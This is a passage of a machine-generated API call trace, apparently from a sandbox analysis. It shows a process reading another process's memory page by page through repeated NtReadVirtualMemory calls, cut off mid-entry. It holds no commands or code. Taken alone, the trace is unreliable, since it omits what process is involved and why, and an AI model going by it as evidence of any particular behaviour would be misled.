ProcessHandle=0x1210, BaseAddress=0x77366000, Buffer=0x9cc6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc6000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.506] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77367000, Buffer=0x9cc7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc7000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.506] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77368000, Buffer=0x9cc8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc8000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.506] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77369000, Buffer=0x9cc9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc9000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.506] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736a000, Buffer=0x9cca000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cca000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.506] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736b000, Buffer=0x9ccb000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ccb000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.507] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736c000, Buffer=0x9ccc000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ccc000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.507] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736d000, Buffer=0x9ccd000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ccd000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.507] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736e000, Buffer=0x9cce000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cce000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.507] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7736f000, Buffer=0x9ccf000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ccf000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.507] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77370000, Buffer=0x9cd0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.507] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77371000, Buffer=0x9cd1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd1000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.507] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77372000, Buffer=0x9cd2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd2000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.508] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77373000, Buffer=0x9cd3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd3000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.508] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77374000, Buffer=0x9cd4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd4000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.508] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77375000, Buffer=0x9cd5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd5000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.508] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77376000, Buffer=0x9cd6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd6000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.508] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77377000, Buffer=0x9cd7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd7000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.508] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77378000, Buffer=0x9cd8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd8000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.508] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77379000, Buffer=0x9cd9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cd9000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.508] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737a000, Buffer=0x9cda000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cda000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.509] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737b000, Buffer=0x9cdb000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cdb000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.509] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737c000, Buffer=0x9cdc000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cdc000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.509] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737d000, Buffer=0x9cdd000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cdd000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.509] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737e000, Buffer=0x9cde000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cde000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.509] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7737f000, Buffer=0x9cdf000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cdf000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.509] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77380000, Buffer=0x9ce0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.509] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77381000, Buffer=0x9ce1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce1000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.510] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77382000, Buffer=0x9ce2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce2000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.510] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77383000, Buffer=0x9ce3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce3000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.510] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77384000, Buffer=0x9ce4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce4000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.510] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77385000, Buffer=0x9ce5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce5000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.510] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77386000, Buffer=0x9ce6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce6000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.510] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77387000, Buffer=0x9ce7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce7000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.510] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77388000, Buffer=0x9ce8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce8000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.511] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77389000, Buffer=0x9ce9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ce9000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.511] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738a000, Buffer=0x9cea000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cea000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.511] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738b000, Buffer=0x9ceb000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ceb000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.511] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738c000, Buffer=0x9cec000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cec000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.511] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738d000, Buffer=0x9ced000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ced000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.511] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738e000, Buffer=0x9cee000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cee000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.511] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7738f000, Buffer=0x9cef000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cef000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.512] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77390000, Buffer=0x9cf0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.512] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77391000, Buffer=0x9cf1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf1000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.512] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77392000, Buffer=0x9cf2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf2000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.512] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77393000, Buffer=0x9cf3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf3000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.512] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77394000, Buffer=0x9cf4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf4000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.512] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77395000, Buffer=0x9cf5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf5000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.512] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77396000, Buffer=0x9cf6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf6000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.513] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77397000, Buffer=0x9cf7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf7000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.513] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77398000, Buffer=0x9cf8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf8000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.513] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77399000, Buffer=0x9cf9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cf9000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.513] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739a000, Buffer=0x9cfa000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cfa000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.513] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739b000, Buffer=0x9cfb000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cfb000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.513] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739c000, Buffer=0x9cfc000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cfc000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.513] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739d000, Buffer=0x9cfd000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cfd000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.514] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739e000, Buffer=0x9cfe000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cfe000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.514] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7739f000, Buffer=0x9cff000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cff000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.514] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a0000, Buffer=0x9d00000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d00000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.514] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a1000, Buffer=0x9d01000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d01000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.514] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a2000, Buffer=0x9d02000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d02000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.514] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a3000, Buffer=0x9d03000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d03000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.514] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a4000, Buffer=0x9d04000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d04000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.515] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a5000, Buffer=0x9d05000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d05000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.515] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a6000, Buffer=0x9d06000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d06000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.515] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a7000, Buffer=0x9d07000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d07000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.515] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a8000, Buffer=0x9d08000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d08000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.515] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773a9000, Buffer=0x9d09000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d09000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.515] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773aa000, Buffer=0x9d0a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.515] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ab000, Buffer=0x9d0b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.516] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ac000, Buffer=0x9d0c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.516] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ad000, Buffer=0x9d0d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.516] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ae000, Buffer=0x9d0e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.516] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773af000, Buffer=0x9d0f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d0f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.516] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b0000, Buffer=0x9d10000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d10000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.516] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b1000, Buffer=0x9d11000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d11000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.516] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b2000, Buffer=0x9d12000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d12000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.517] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b3000, Buffer=0x9d13000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d13000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.517] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b4000, Buffer=0x9d14000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d14000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.517] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b5000, Buffer=0x9d15000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d15000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.517] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b6000, Buffer=0x9d16000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d16000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.517] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b7000, Buffer=0x9d17000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d17000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.517] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b8000, Buffer=0x9d18000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d18000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.517] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773b9000, Buffer=0x9d19000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d19000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.518] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ba000, Buffer=0x9d1a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.518] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773bb000, Buffer=0x9d1b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.518] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773bc000, Buffer=0x9d1c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.518] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773bd000, Buffer=0x9d1d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.518] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773be000, Buffer=0x9d1e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.518] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773bf000, Buffer=0x9d1f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d1f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.518] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c0000, Buffer=0x9d20000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d20000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.519] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c1000, Buffer=0x9d21000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d21000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.519] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c2000, Buffer=0x9d22000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d22000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.519] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c3000, Buffer=0x9d23000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d23000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.519] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c4000, Buffer=0x9d24000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d24000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.519] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c5000, Buffer=0x9d25000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d25000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.519] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c6000, Buffer=0x9d26000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d26000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.519] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c7000, Buffer=0x9d27000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d27000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.519] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c8000, Buffer=0x9d28000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d28000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.520] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773c9000, Buffer=0x9d29000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d29000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.520] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ca000, Buffer=0x9d2a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.520] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773cb000, Buffer=0x9d2b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.520] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773cc000, Buffer=0x9d2c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.520] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773cd000, Buffer=0x9d2d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.520] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ce000, Buffer=0x9d2e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.520] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773cf000, Buffer=0x9d2f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d2f000*, 